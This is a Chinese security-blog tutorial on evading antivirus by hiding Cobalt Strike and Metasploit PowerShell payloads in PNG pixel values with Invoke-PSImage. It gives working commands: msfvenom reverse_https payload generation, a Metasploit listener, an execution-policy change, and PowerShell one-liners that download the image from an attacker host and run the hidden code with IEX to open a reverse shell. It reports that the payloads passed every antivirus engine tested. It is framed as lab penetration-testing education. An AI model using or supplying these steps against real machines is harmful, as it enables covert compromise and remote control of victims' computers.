freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基免杀篇:隐写RGB过所有杀软
2021-02-04 11:54:27

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

如今杀毒软件不断的更新升级,在渗透测试中和HVV中如何绕过杀软成为渗透着们核心的技术,没有免杀就无法深入内网横向,往下看带来隐写RGB免杀的过程。

观望我写的好几篇免杀,都具有免杀效果,今天给大家带来将payload隐写到像素RGB中,从环境部署、CS和MSF的payload生成、到上线免杀控制、最后五次分析底层原理,最后总结给了点小建议,开始!

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.253.8

系统:kali.2020.4

windows 10系统是黑客用于制作隐写RGB方式生成png图片的环境。

VPS服务器:

IP:192.168.253.8

此次环境将使用kali2020.4进行模拟VPS服务器http服务。

办公区域:

系统:windwos 10

IP:192.168.253.17

存在:360、360杀毒、火绒、deferencer,以及全球和全国杀软平台检测。

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用隐写术将shellcode隐写入PNG图片RGB像素中,隐藏后门代码,以及底层分析生成PNG,并控制对方的过程。

三、环境部署

windows 10 环境上下载好PSImage源码,以及准备好一张jpg图片和powershell shellcode后门文件。

1、下载源代码

将 PSImage 源代码下载到本地:

https://github.com/dayuxiyou/Invoke-PSImage

1612427652_601bb18443810827353ec.png!small?1612427653421

2、CS生成后门

1612427657_601bb189cf9a9b365732e.png!small?1612427658372

Cobalt Strike生成powershell的后门payload.ps1。

3、MSF生成后门

1612427662_601bb18ede7c94d3a65ab.png!small?1612427665151

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost 192.168.253.8; set lport 5555; exploit -j; "

开启监听。

1612427668_601bb19469927147fadff.png!small?1612427670627

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > msf-dayu.ps1

生成msf后门文件msf-dayu.ps1。

1612427673_601bb199520499487998f.png!small?1612427673794

最后准备好一张jpg图片,全部放在文件夹内即可。

四、隐写RGB免杀测试

以下操作在Windows 10系统环境进行生成恶意文件png。

1、测试CS后门隐写

1612427678_601bb19e8ad31b5ba920b.png!small?1612427681008

Set-ExecutionPolicy Unrestricted -Scope CurrentUser

进行更改执行策略,可帮助防止在执行ps1脚本时产生阻拦等报错,达不到效果。

1612427683_601bb1a36e415065d65f6.png!small?1612427684204

Import-Module .\Invoke-PSimage.ps1

利用import_module来通过字符串导入Invoke-PSimage.ps1模块。

1612427689_601bb1a90caf407ac1a89.png!small?1612427693052

Invoke-PSImage -Script .\cs-dayu.ps1 -Image .\dayu.jpg -Out .\cs-dayu.png -Web

1. -script 表示你要写入图片中的powershell脚本 2. -image 表示待写入恶意代码的图片 3. -Out 表示最后写入成功的图片 4. -Web 输出用于使用Net.WebClient从Web读取图像的命令。您将需要托管图像并将URL插入命令中

通过隐写RGB,将shellcode隐写入了像素低高位中,生成了png图片。另外给出了一串powershell代码。

1612427698_601bb1b286aec3d413b47.png!small?1612427715998

这里简单讲png和jpg原图进行比较,基本上无差别,在左上角有点像素变化。

1612427702_601bb1b6c838815872085.png!small?1612427715997

python -m SimpleHTTPServer 80

这里我将攻击端Kali模拟VPS,利用python开启了http服务,原理是一样的,作为公网的一台可下载的服务器。

1612427711_601bb1bf2457e63db361f.png!small?1612427715998

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.253.8/cs-dayu.png"));$o=a Byte[] 4000;(0..3)|%{foreach($x in(0..999)){$p=$g.GetPixel($x,$_);$o[$_*1000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

然后将http://example.com/cs-dayu.png改为VPS的HTTP下载图片地址:http://192.168.253.8/cs-dayu.png。

1612427717_601bb1c5634262e258b8e.png!small?1612427736053

可看到正常上线并交互后,四件套还是未查杀报毒现象,以及对图片进行扫描,也是全免杀状态。

1612427725_601bb1cd70d78757e152e.png!small?1612427739647

丢到virustotal全球杀软平台和virscan国内杀软平台都未报毒,全免杀过了!!

2、测试MSF后门隐写

开始的操作和CS的一样,那么直接到生成png图片。
1612427730_601bb1d2dec8b71cbc468.png!small?1612427746823

Invoke-PSImage -Script .\msf-dayu.ps1 -Image .\dayu.jpg -Out .\msf-dayu.png -Web

成功隐写RGB生成msf-dayu.png后门图片文件。

继续将msf-dayu.png图片放入VPS服务器目录下,开始测试是否免杀和上线控制。
1612427736_601bb1d8c3f1a5b2d9c8c.png!small?1612427769705

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.253.8/msf-dayu.png"));$o=a Byte[] 3000;(0..2)|%{foreach($x in(0..999)){$p=$g.GetPixel($x,$_);$o[$_*1000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2974]))

可看到通过执行命令,前面在kali上开启的监听,session上线了,获得了反弹shell。
1612427742_601bb1de5fd08515885e8.png!small?1612427769705

回到MSF监听上进行交互控制命令,也是免杀的。

1612427747_601bb1e351e4060f30735.png!small?1612427782053

丢到virustotal全球杀软平台和virscan国内杀软平台都未报毒,全免杀过了!!

五、底层源码分析

1、分析(一)

1612427752_601bb1e843866215db5be.png!small?1612427779249

利用LoadWithPartialName加载System.Drawing和System.Web。

System.Drawing 命名空间包含Image等。

System.Web 命名空间包含启用浏览器与服务器通信的类和接口。

这里很好理解,这两段,就是报错stop和加载程序集生成图片后与服务端通信等。

2、分析(二)

1612427758_601bb1ee1bb61b5637c95.png!small?1612427782054

可看到Join-Path (Get-Location)调用Script和Out。

Script:嵌入图像的脚本路径。

Out:将结果图像保存到的文件(图像将为PNG)

那么开始阅读script脚本!

3、分析(三)

1612427763_601bb1f31aca9fbd5fd7f.png!small?1612427782054

可以看出在Script内又调用了Image为要嵌入脚本图像的意思,首先将图像读入图片位置,在将位置锁定在内存中以便powershell编写方式对其进行更改,Copy($ptr, $rgbValues, 0, $bytes);在将RGB值复制到数组方便修改,最后检查有效负载是否适配图像。

4、分析核心(四)

1612427767_601bb1f7bcd19141942ee.png!small?1612427782054

开始第一个红框用GeneratePassword随意生成128位的随机令牌,然后0x0f遍历RGB数组并将有效负载复制到其中,遍历完后在将RGB值数组复制回原位置图里,最后$Out...::Png写入到png图片中。

第二个红框这里是最重要核心部分,这块源码主要意思是生成随机字符串用于填充图片中的其他像素等信息。这里详细分析下:

1)if ($counter -lt $payload.Length)包含了paybyte1~3,其中意思是读取payload中的前后四位:
1612427778_601bb202381c488334102.png!small?1612427782053

1. paybyte1为前四位 2. paybyte2为后四位 3. band=&与运算,bor=|或运算 4. paybyte3为随机数

这里我们来看下RGB简单原理:
1612427783_601bb2077822dbc5daf10.png!small?1612427785852

通过百度百科,颜色选择器是指利用程序实现R、G、B三色的分配的,在结合代码理解!

这里以payload[$counter]=R分析下,那么:

paybyte1=0x41/0x01 取商为0x04,即取出了payload的高四位

paybyte2=0x41 & 0x0f == 0x01,即取出了payload的低四位

最后paybyte3生成随机数。

2)利用else判断计数值,若计数值大于payload长度,将填充随机数。
1612427789_601bb20d200c8f4234327.png!small?1612427790974

3)分析最后一段核心代码:
1612427793_601bb211b305e00c3f219.png!small?1612427794979

1. 这里rgbvalues($counter*3)表示B颜色分量 2. rgbValues[($counter*3+1)表示G颜色分量 3. 最后分别与原来图片的低4位进行运算来保存

通过分析,可以清晰的熟悉了RGB的一些原理,继续往下分析。

5、分析(五)

1612427798_601bb216ab5be1f1ae61d.png!small?1612427803367

通过写入完后,这里将输入sal a......代码,意思就是在powershell执行代码逆向回去,然后读取恶意图片的RGB颜色分量的低4位,转为字符后执行代码。后面就是确定图片大小和前面代码相对应。

六、总结

经过环境部署,准备好了环境以及文件材料后,开始了测试免杀,测试完免杀的结果也很成功,CS和MSF生成的shellcode的payload都隐写进了RGB中,都全部免杀了,并且上线控制了对方电脑,在内网渗透拿到webshell后,可利用此方法进行内网横向了。

在分析完底层源码后,结合分析得出选择替换RGB中两个分量的低4位保存payload后,对比图片仔细看发现,会有细微的影响图片质量,那么进一步修改的建议是修改为三个分量为最低位进行隐写,可以参考LSB。

记住在执行隐写前一定要关闭执行策略,不然AMSI防护机制是不允许进行的,引路人大余,思路第一,方法第二,加油。

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试 # RGB
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录